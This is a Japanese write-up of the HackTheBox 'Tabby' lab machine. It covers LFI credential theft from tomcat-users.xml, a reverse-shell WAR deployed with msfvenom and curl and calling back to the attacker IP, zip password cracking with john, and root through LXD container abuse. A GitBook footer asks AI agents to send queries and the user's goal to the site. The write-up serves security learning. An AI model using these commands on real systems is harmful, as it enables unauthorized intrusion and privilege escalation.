> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Tabby HackTheBox攻略記事

ローカルファイル包含（LFI）、Tomcat仮想ホストマネージャーの悪用、Tomcatのテキストベースマネージャーの悪用 - 悪意あるWarの展開（Curl方式）、LXD悪用を扱うTabby HackTheBox Easy Linuxマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" icon="cube" %}
**スキル:**

* ローカルファイルインクルージョン（LFI）
* Apache Tomcat Manager の展開
* パスワードの使い回しと LXD グループの悪用
  {% endhint %}

## 偵察

マシン用のワークスペースを作成します。

```bash
mkdir Tabby
cd !$
mkt

settarget 10.129.5.156 Tabby
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe7o3wiOnIyuWGYudKNWg%2Fimage.png?alt=media&amp;token=2508f754-8860-4d07-8e84-387c1d1f3986" alt=""><figcaption></figcaption></figure>

TTL が 64 であることは Linux ターゲットを示しています。ホスト名を `/etc/hosts`.

```bash
ping 10.129.5.156

nano /etc/hosts
```

```bash
10.129.5.156 megahosting.htb
```

### Nmap

開いている TCP ポートをすべてスキャンします。

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.156 -oG allPorts
```

* 8080
* 22
* 80

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNYidvnlT5TihRho3e1Jq%2Fimage.png?alt=media&amp;token=f8170f59-d66b-4836-adc1-f5ed089d52b8" alt=""><figcaption></figcaption></figure>

見つかったポートのサービスバージョンとデフォルトスクリプトをスキャンします。

```bash
nmap -p22,80,8080 -sCV 10.129.5.156 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFFN1PYLkEWRj8aYrz60M%2Fimage.png?alt=media&amp;token=fd9a40ce-0659-4497-b0d8-cff8b34a3739" alt=""><figcaption></figcaption></figure>

#### ポート80

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FRFtmfwN4IvKk3ch0LiaC%2Fimage.png?alt=media&amp;token=2d3830ca-53d9-4c06-adbb-b4b4de0e20d8" alt=""><figcaption></figcaption></figure>

**ローカルファイルインクルージョン**

その `news.php` `ファイル` このパラメータはローカルファイルインクルージョン (LFI) に脆弱です。

```bash
news.php?file=../../../../../etc/passwd
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiUsRyX98QIdn0snDGXVM%2Fimage.png?alt=media&amp;token=8f944166-9ffb-4d6b-8b87-e8720eba5d66" alt=""><figcaption></figcaption></figure>

#### 8080番ポート

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlUQyzpUjxmTdgLHZLjdI%2Fimage.png?alt=media&amp;token=1bc369ec-278c-4c86-aa84-59d3a5b76ed8" alt=""><figcaption></figcaption></figure>

Tomcat 9 がインストールされています。認証情報は次の場所に保存されています：

* `/usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmpiLbVwjhTvnjMROLmNb%2Fimage.png?alt=media&amp;token=7455009c-8737-4c15-b166-10933928bd99" alt=""><figcaption></figcaption></figure>

Tomcat パネルには次のように表示されています `CATALINA_HOME` です `/usr/share/tomcat9`.

完全なパスは次のとおりです：

```bash
/usr/share/tomcat9/etc/tomcat-users.xml
```

パストラバーサルを使って Tomcat の認証情報を取得します。

```bash
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrSq3zmlbVTMgX6hO846q%2Fimage.png?alt=media&amp;token=f3bf9875-0e55-41c6-8613-a4574bb7d5b4" alt=""><figcaption></figcaption></figure>

Tomcat の Virtual Host Manager を開きます：

* <http://megahosting.htb:8080/host-manager/html>

ターゲットでは Tomcat 9.0.31 が動作しています。

取得した認証情報でサインインします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FS9iUs8Q9tWvabpP2BcFl%2Fimage.png?alt=media&amp;token=a5561753-b06a-4aff-94ba-cb1ebb504d24" alt=""><figcaption></figcaption></figure>

この参考資料では、Host Manager を通じて Tomcat を悪用する別の方法を説明しています。

{% embed url="<https://www.certilience.fr/blog/tomcat-exploit-variant-host-manager/>" %}

### 初期アクセス

#### WAR ファイルを作成します

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.2 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FQT6XSrd1vJYwQyGbg46Y%2Fimage.png?alt=media&amp;token=8f7a89d1-6bd5-4c9b-a03b-99eadd3fae5e" alt=""><figcaption></figcaption></figure>

#### WAR ファイルを配置します

次のコマンドで WAR ファイルを配置します `curl`:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

#### リバースシェルを発動します

ポートで待ち受けます `443`:

{% code overflow="wrap" %}

```bash
sudo nc -nlvp 443
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6oo9OWKTTOYYby5Snne9%2Fimage.png?alt=media&amp;token=607152a6-9057-4a5f-9809-e0d35a435f24" alt=""><figcaption></figcaption></figure>

次にアクセス: <http://megahosting.htb:8080/reverse> リバースシェルを発動させるために。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYk78JZXeLHegyRP4yRM1%2Fimage.png?alt=media&amp;token=be1a0929-bcd5-4d48-ac5e-e7dc26e1eee5" alt=""><figcaption></figcaption></figure>

#### TTY を安定化させます

{% code overflow="wrap" %}

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# その後、Ctrl+Z を押します。
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### 権限昇格

#### Web ディレクトリを調べます

確認します `/var/www/html`. その `files` ディレクトリには `16162020_backup.zip`.

ターゲットからアーカイブを提供します：

```bash
python3 -m http.server 655
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b42f71ed53d7577072e50b9f927440f20a657f9%2F%7BCF8C7E91-3503-4E8C-9C9C-EEA6AABC5318%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

自分のマシンからダウンロードします：

```bash
wget http://megahosting.htb:655/files/16162020_backup.zip
```

#### ZIP アーカイブをクラックします

ZIP アーカイブはパスワードで保護されています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d861a249334e612eba764a2de0f6f6d8182ca81%2Fimage%20(1148).png?alt=media" alt=""><figcaption></figcaption></figure>

次の方法でハッシュを抽出します `zip2john`:

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d6e51ba4357812cdd5f8e6922fcc41165b98e0%2Fimage%20(1149).png?alt=media" alt=""><figcaption></figcaption></figure>

次の方法でハッシュをクラックします `john`:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

取得したパスワードは `admin@it`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a32556046620757b2a656ebafb1c3ca636e970%2Fimage%20(1150).png?alt=media" alt=""><figcaption></figcaption></figure>

パスワードを使ってアーカイブを展開し、確認します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e80250cedf41dd12c28b912f55c7a4c2c21ca36%2Fimage%20(1151).png?alt=media" alt=""><figcaption></figcaption></figure>

展開すると `var` ディレクトリが作成されますが、便利なファイルはほとんどありません。ただし、 `admin@it` また、〜としても認証されます `ash` ターゲット上で。

```bash
ssh ash@megahosting.htb
```

#### ユーザーフラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87acfee797cc93fb20e49b1c7ac693103b42274a%2Fimage%20(1152).png?alt=media" alt=""><figcaption></figcaption></figure>

#### LXD グループ所属を悪用します

その `ash` ユーザーは `lxd` グループに所属しています。これにより、LXC を悪用して root 権限を取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9705e73b57e329be72a44a941f0cb52703b0cd36%2Fimage%20(2387).png?alt=media" alt=""><figcaption></figcaption></figure>

LXD グループに所属していると、特権コンテナがホストのファイルシステムをマウントできます。

#### Alpine イメージをインポートします

自分のマシンで Alpine の LXD イメージを作成またはダウンロードします。イメージを提供します：

```bash
python3 -m http.server 80
```

ターゲット上でイメージをダウンロードしてインポートします：

```bash
cd /tmp
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
export PATH=$PATH:/snap/bin
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e2b13308667b9bc5cd005c265b775ca77771d%2F%7B1C54AE33-E047-4798-8C04-ACDA4DDA239B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

特権コンテナを作成し、ホストの root ファイルシステムをマウントします：

```bash
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

ターゲットの root ファイルシステムは次の場所で利用できます `/mnt/root`.

```bash
cat /mnt/root/root/root.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef4fa49ac28e96d5aad86d762b8b27d6453f2408%2F%7B40FA85B2-C6C6-42B7-BA8B-3E519C7A01F9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19d04b668b9fefbfb85585d0d9bed8131fed29c5%2Fimage%20(2388).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ルートフラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f973c1d44285c1d324b1475c66a3f1adb6df52f1%2Fimage%20(2389).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
